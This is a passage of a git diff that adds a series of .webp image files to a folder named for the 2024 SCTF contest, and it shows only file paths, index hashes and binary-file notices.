mode 100644 index 0000000..1d18a45 Binary files /dev/null and b/source/images/2024-SCTF/image25.webp differ diff --git a/source/images/2024-SCTF/image26.webp b/source/images/2024-SCTF/image26.webp new file mode 100644 index 0000000..40ea266 Binary files /dev/null and b/source/images/2024-SCTF/image26.webp differ diff --git a/source/images/2024-SCTF/image27.webp b/source/images/2024-SCTF/image27.webp new file mode 100644 index 0000000..72a6cd1 Binary files /dev/null and b/source/images/2024-SCTF/image27.webp differ diff --git a/source/images/2024-SCTF/image28.webp b/source/images/2024-SCTF/image28.webp new file mode 100644 index 0000000..bde39b8 Binary files /dev/null and b/source/images/2024-SCTF/image28.webp differ diff --git a/source/images/2024-SCTF/image29.webp b/source/images/2024-SCTF/image29.webp new file mode 100644 index 0000000..8005b9e Binary files /dev/null and b/source/images/2024-SCTF/image29.webp differ diff --git a/source/images/2024-SCTF/image3.webp b/source/images/2024-SCTF/image3.webp new file mode 100644 index 0000000..93c6bf4 Binary files /dev/null and b/source/images/2024-SCTF/image3.webp differ diff --git a/source/images/2024-SCTF/image30.webp b/source/images/2024-SCTF/image30.webp new file mode 100644 index 0000000..6526167 Binary files /dev/null and b/source/images/2024-SCTF/image30.webp differ diff --git a/source/images/2024-SCTF/image31.webp b/source/images/2024-SCTF/image31.webp new file mode 100644 index 0000000..12654a0 Binary files /dev/null and b/source/images/2024-SCTF/image31.webp differ diff --git a/source/images/2024-SCTF/image4.webp b/source/images/2024-SCTF/image4.webp new file mode 100644 index 0000000..6a15ed0 Binary files /dev/null and b/source/images/2024-SCTF/image4.webp differ diff --git a/source/images/2024-SCTF/image5.webp b/source/images/2024-SCTF/image5.webp new file mode 100644 index 0000000..e66a1d8 Binary files /dev/null and b/source/images/2024-SCTF/image5.webp differ diff --git a/source/images/2024-SCTF/image6.webp b/source/images/2024-SCTF/image6.webp new file mode 100644 index 0000000..4f7c91e Binary files /dev/null and b/source/images/2024-SCTF/image6.webp differ diff --git a/source/images/2024-SCTF/image7.webp b/source/images/2024-SCTF/image7.webp new file mode 100644 index 0000000..affd982 Binary files /dev/null and b/source/images/2024-SCTF/image7.webp differ diff --git a/source/images/2024-SCTF/image8.webp b/source/images/2024-SCTF/image8.webp new file mode 100644 index 0000000..8528066 Binary files /dev/null and b/source/images/2024-SCTF/image8.webp differ diff --git a/source/images/2024-SCTF/image9.webp b/source/images/2024-SCTF/image9.webp new file mode 100644 index 0000000..c8d8e46 Binary files /dev/null and b/source/images/2024-SCTF/image9.webp differ